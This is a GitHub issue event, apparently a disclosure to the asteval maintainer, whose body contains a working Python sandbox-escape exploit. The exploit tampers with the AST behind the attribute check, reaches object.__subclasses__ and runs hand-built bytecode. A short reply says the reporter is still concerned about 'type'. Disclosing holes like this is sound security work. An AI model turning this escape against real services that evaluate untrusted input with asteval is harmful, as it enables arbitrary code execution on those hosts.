{"action":"created","issue":{"url":"https://api.github.com/repos/newville/asteval/issues/32","repository_url":"https://api.github.com/repos/newville/asteval","labels_url":"https://api.github.com/repos/newville/asteval/issues/32/labels{/name}","comments_url":"https://api.github.com/repos/newville/asteval/issues/32/comments","events_url":"https://api.github.com/repos/newville/asteval/issues/32/events","html_url":"https://github.com/newville/asteval/issues/32","id":259963740,"number":32,"title":"Arbitrary code execution","user":{"login":"henniss","id":17056237,"avatar_url":"https://avatars3.githubusercontent.com/u/17056237?v=4","gravatar_id":"","url":"https://api.github.com/users/henniss","html_url":"https://github.com/henniss","followers_url":"https://api.github.com/users/henniss/followers","following_url":"https://api.github.com/users/henniss/following{/other_user}","gists_url":"https://api.github.com/users/henniss/gists{/gist_id}","starred_url":"https://api.github.com/users/henniss/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/henniss/subscriptions","organizations_url":"https://api.github.com/users/henniss/orgs","repos_url":"https://api.github.com/users/henniss/repos","events_url":"https://api.github.com/users/henniss/events{/privacy}","received_events_url":"https://api.github.com/users/henniss/received_events","type":"User","site_admin":false},"labels":[],"state":"open","locked":false,"assignee":null,"assignees":[],"milestone":null,"comments":5,"created_at":"2017-09-22T23:47:22Z","updated_at":"2017-09-27T01:53:56Z","closed_at":null,"author_association":"NONE","body":"Constructing and running functions from arbitrary bytecode from within the sandbox. \r\n\r\nTested in Python 3.6.2 on Linux.\r\n\r\n```python\r\nimport asteval\r\naeval = asteval.Interpreter()\r\n\r\ncode = \"\"\"\r\n\r\n# To break out of the sandbox, we first try to get access to\r\n# object.__subclasses__. Once we have that, we can get access to\r\n# 'code' and 'function' and use these to construct new, real functions\r\n# (not Procedures) from arbitrary bytecode.\r\n\r\n# First up, lets get access to object:\r\nobject = str.__mro__[1]\r\n\r\n# Getting __subclasses__ is harder. We're going to construct a\r\n# Procedure `get_subclasses` which takes an object and returns its\r\n# __subclasses__ attribute (basically a janky, restricted version of\r\n# the built-in getattr).\r\n\r\ndef get_subclasses(x):return x.attribute\r\n\r\n# Procedures leak access to their AST:\r\n\r\n# get_subclasses.body[0].value.attr = hack_string\r\n\r\n# hack_string is going to be an object with an __eq__ method which\r\n# counts the number of times it is called until the `node.attr not in\r\n# UNSAFE_ATTRS` check on line 408 is done, then it goes and modifies\r\n# the AST of get_subclasses /again/ to replace node.attr with the plain old\r\n# string '__subclasses__'.\r\n\r\n## METHODS\r\n\r\n# These are really Procedures, not true functions, so we don't have\r\n# access to self. Maybe there's a way to fix that, but since we only\r\n# need one it's easy to just use global state instead.\r\n\r\n# I would rather count be a global integer, but that results in a\r\n# runtime error: \"attribute for storage: shouldn't be here.\"  I didn't\r\n# look carefully enough to see why that is, but a list works fine as a\r\n# counter.\r\ncount = [0]\r\ndef phony_eq(x):\r\n    count[0] += 1\r\n    if count[0] == 9:\r\n        get_subclasses.body[0].value.attr = '__subclasses__'\r\n        count[0] = 0\r\n\r\n    if count[0] <= 9:\r\n        return False\r\n\r\n# Not needed, but meant less bizarre error messages when I was writing\r\n# this\r\ndef phony_str(): return \"<hack_string>\"\r\n\r\n# We can still create new classes using 'type'. I don't think it\r\n# actualy matters that this be a str subclass.\r\n\r\nhack_string = type('HackString',\r\n                (str, ),\r\n                {'__eq__': phony_eq,\r\n                 '__str__': phony_str})()\r\n\r\n\r\n# Now we're ready to put this in place.\r\nget_subclasses.body[0].value.attr = hack_string\r\n__subclasses__ = get_subclasses(object)\r\n\r\nfor c in __subclasses__():\r\n    if c.__name__ == 'code':\r\n        code = c\r\n    if c.__name__ == 'function':\r\n        function_ = c\r\n\r\n# At this point we can create and run functions from arbitrary\r\n# bytecode:\r\n\r\n# For demonstration purposes, our function is the following:\r\n\r\n#  def my_getattr(obj, attr):\r\n#      return obj.__getattribute__(attr)\r\n\r\n# which has bytecode\r\n\r\n#  b'|\\\\x00j\\\\x00|\\\\x01\\\\x83\\\\x01S\\\\x00'\r\n\r\n# We can't enter literal bytes objects, but that's okay:\r\n\r\ngetattr_bytecode = ('|\\\\0j\\\\0|' + chr(0x1)).encode('utf-8') + chr(0x83).encode('utf-8')[1:] + (chr(0x1) + 'S\\\\0').encode('utf-8')\r\n\r\ncode_obj = code(2, 0, 2, 2, 67, getattr_bytecode, (None, ), ('__getattribute__', ), ('obj', 'attr'), '', 'my_getattr', 0, ('\\\\0' + chr(0x1)).encode('utf-8'))\r\nmy_getattr = function_(code_obj, {})\r\n\r\n\r\nprint(my_getattr({}, '__class__'))\r\n\"\"\"\r\n\r\n\r\naeval(code)\r\n```\r\n\r\nResult: \r\n\r\n```\r\n<class 'dict'>\r\n```"},"comment":{"url":"https://api.github.com/repos/newville/asteval/issues/comments/332385875","html_url":"https://github.com/newville/asteval/issues/32#issuecomment-332385875","issue_url":"https://api.github.com/repos/newville/asteval/issues/32","id":332385875,"user":{"login":"henniss","id":17056237,"avatar_url":"https://avatars3.githubusercontent.com/u/17056237?v=4","gravatar_id":"","url":"https://api.github.com/users/henniss","html_url":"https://github.com/henniss","followers_url":"https://api.github.com/users/henniss/followers","following_url":"https://api.github.com/users/henniss/following{/other_user}","gists_url":"https://api.github.com/users/henniss/gists{/gist_id}","starred_url":"https://api.github.com/users/henniss/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/henniss/subscriptions","organizations_url":"https://api.github.com/users/henniss/orgs","repos_url":"https://api.github.com/users/henniss/repos","events_url":"https://api.github.com/users/henniss/events{/privacy}","received_events_url":"https://api.github.com/users/henniss/received_events","type":"User","site_admin":false},"created_at":"2017-09-27T01:53:56Z","updated_at":"2017-09-27T01:53:56Z","author_association":"NONE","body":"#33 looks good.\r\n\r\n`type` still worries me, since it effectively lowers the bar from \"get access to `code`\" to \"get access to any `code` instance\", but I don't yet see a way to get a `code` instance. "}}
{"actor":{"display_login":"henniss"}}